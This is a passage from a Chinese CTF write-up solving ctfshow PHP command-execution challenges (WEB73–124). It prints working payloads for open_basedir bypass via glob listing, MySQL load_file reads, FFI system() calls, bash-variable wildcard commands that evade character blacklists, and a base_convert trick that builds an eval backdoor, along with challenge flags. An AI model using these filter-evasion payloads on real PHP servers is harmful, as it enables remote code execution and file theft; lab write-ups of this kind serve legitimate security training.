        echo "filename:".$file."\n";  //如果不是目录,但是是存在的我就输出他
    }
    closedir($b);  //关闭
  }
 exit();  //防止替换

变成flagc.txt了
image.png
我们把UAF脚本205行的flag0.txt换成flagc.txt即可:发现还是不行
说明我们能达到效果,但是和那个脚本不兼容,再用一个方法:

<?php
 //strlen  返回指定字符串长度
  function strlen_user($s){
      $ret=0;
      for($i=0;$i<100000;$i++){
        if($s[$i]){
          $ret=$ret+1;
      }else{
          break;
      }
    }
  return $ret;
}
echo str_user('abadsdac');

?>

a,没拿到flag,原理是这样的昂,流量可以被打死了
算了,c=include(‘/flagc.txt’);exit(0);
直接这样也能拿到flag(orz)

WEB74

依旧和上一题一样,glob扫描查看文件名是不是换了:

c=$a="glob:///*.txt";     //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";  //如果不是目录,但是是存在的我就输出他
    }
    closedir($b);  //关闭
  }
 exit();  //防止替换

或者:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

变成了flagx.txt
c=include(‘/flagx.txt’);exit(0);
可以直接拿到flag!

WEB75(★利用PDO数据库查询)

首先glob扫描文件,变成flag36.txt
直接包含的话是不行的:
image.png
这次又要求绕过open_basedir 了
我们可以用其他应用来访问这个文件,比如MySQL,这时候我们可以直接用PDO,数据库名的话前面几道题都是可以查到的
image.png

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

查看hint:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

当然数据库也可以写shell,但是这不是我们的目的。

WEB76(数据库读文件RCE)

和上一题给出的回显是一样的
尝试使用上一题的解法:
glob扫描:

c=$a="glob:///*.txt";     
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";  
    }
    closedir($b);  
  }
 exit();

image.png
发现看不了,换一个glob扫描脚本试试:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

image.png
知道文件名flag36d.txt
PDO读取:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);

WEB77

  • 命令执行最后一题,php7.4,基本上命令执行就告一段落了
  • 最后,我想说:

image.png
不会供出来的,恩师,受徒儿一拜orz
glob扫描是flag36x.txt文件
image.png
按照上一题数据库读取没有查找出来,could not find driver

参考:羽师傅
hint:
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > /var/www/html/1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

image.png
我们再访问1.txt
image.png

WEB118(★bash内置变量构造命令)

打开界面,发现只有一个输入框:
image.png
尝试输入命令,显示evil input 不能进行输入!
输入whoami抓包:提交方式是POST
image.png
它是有过滤的,最好就是跑脚本或者bp测试过滤
~$(()),不能回显-0
echo也不可以执行
空格可以执行,那么就可以调用系统变量了丫!
虽然能调用系统变量,但是我们没有echo,只能在系统变量里面构造我们要的东西
image.png
我们只需要构造一个比较短的命令,nl
/var/www/html #ls /bin
nl是${PATH:~A}${PWD:~A} ????.??? / ${PATH:~0}${PWD:~0} ????.???
image.png

参考:https://blog.csdn.net/miuzzx/article/details/109181768#comments_13535967
Linux 基础知识:Bash的内置变量
部分举例:
image.png
在原来过滤的基础上增加了数字的过滤

而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
payload: code=${PATH:~A}${PWD:~A} ????.??? 执行后查看源代码
image.png
$PWD就是当前路径

WEB119(★)

和上一题界面一样,尝试用上一题的解法,也显示evil input,说明nl被过滤
在118的基础上增加了 PATH、BASH、HOME的过滤
这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???/?????4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
image.png
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
image.png
数字1可以用$SHLVL
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
image.png
payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? (/bin/base64 flag.php)
image.png
ctfshow{02885e2b-a318-493f-ab07-5ce4effd67cf}

${SHLVL}       //一般是一个个位数
${#SHLVL}      //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}}       //表示/
${USER}        //www-data
${PHP_VERSION:~A}       //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at

其他payload:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

${#}:${#SHLVL}就是0:1,取第一位
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}就是t

其他payload:
${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}} ——》 3
tac= ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.??? (如果没有规定长度,这个payload是可以的)

linux环境变量
查看hint:
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

WEB120(★)

hint:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
本题给了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

可以看到对输入的字符有长度限制,那么就想办法缩短上一题的payload,不使用at字符,只取用a字符:
还可以把${#}给省了,最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
查看网页源代码:
image.png
image.png
PHP_VERISON=7.3.22
${PHP_CFLAGS:~A} ——》4 ${#PHP_VERISON}——》6 井号表示取长度
?????${#PHP_VERISON}${PHP_CFLAGS:~A}——base64
?????${#PHP_VERISON}${PHP_CFLAGS:~A} ????.??? ——base64 flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??????${PHP_CFLAGS:~A} ????.???——?/bin/base64 flag.php

还可以尝试随机数,最终的命令为:
/bin/base64 flag.php
payload如下($RANDOM 的范围是 [0, 32767]):“摇色子”
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

WEB121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

又ban了好多,尝试构造以下命令(rev命令将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。):

/bin/rev flag.php

这里我们可以用${IFS}和${#}分别替代:
${#IFS}在ubuntu等系统中值为3,在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值,是1
最终的payload如下:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
${PWD::${##}}就是取pwd的第1个字符也就是/


既然${#SHLVL}被禁用,1没了,想办法再弄个1
杀手锏:$? 表示上一次执行命令的结果,上次命令执行结果1位非正常,0位正常,所以我们要让第一次不正常
先输入code=AAAA随便输入 让他不正常
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
image.png
去除换行再解码,否则会有乱码:
image.png
ctfshow{57e04946-9882-4d56-869a-c2d85b613808}

WEB122

hint:fuzz


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

PWD也被过滤了,我们可以找/开头的,HOME 没过滤,我们尝试用HOME
code=DBADKJDAKSHKJAH 要大写,因为小写过滤了,第一次不正常提交
code=${HOME::${#?}}???${HOME::${#?}}?????${#RANDOM} ????.???
井号也过滤了,我们直接删除井号
code=image.png

WEB124

RCE

<?php
# -*- coding: utf-8 -*-
#这是2019年国赛题(入门)
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

我们可以通过构造GET或者POST
比如构造 _GET
我们可以通过:【背景】

<?php
echo base_convert(37907361743,10,36)(dechex(1598506324));//相当于echo A(B);动态函数调用//会生成_GET
hex2bin()(dechex()); //十六进制转十进制
//相当于常见的echo ('system')('dir');  
//这就叫动态函数调用
?>
<?php
$a=base_convert(37907361743,10,36)(dechex(1598506324));//会生成_GET
//var_dump($a);
eval($$a['a']);//就变成了后门
?>

解题:

<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php

eval($$a['a']);//就变成了后门
?>

image.png
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));pi{abs}(pi{acos});&abs=system&acos=cat flag.php
查看网页源代码得到flag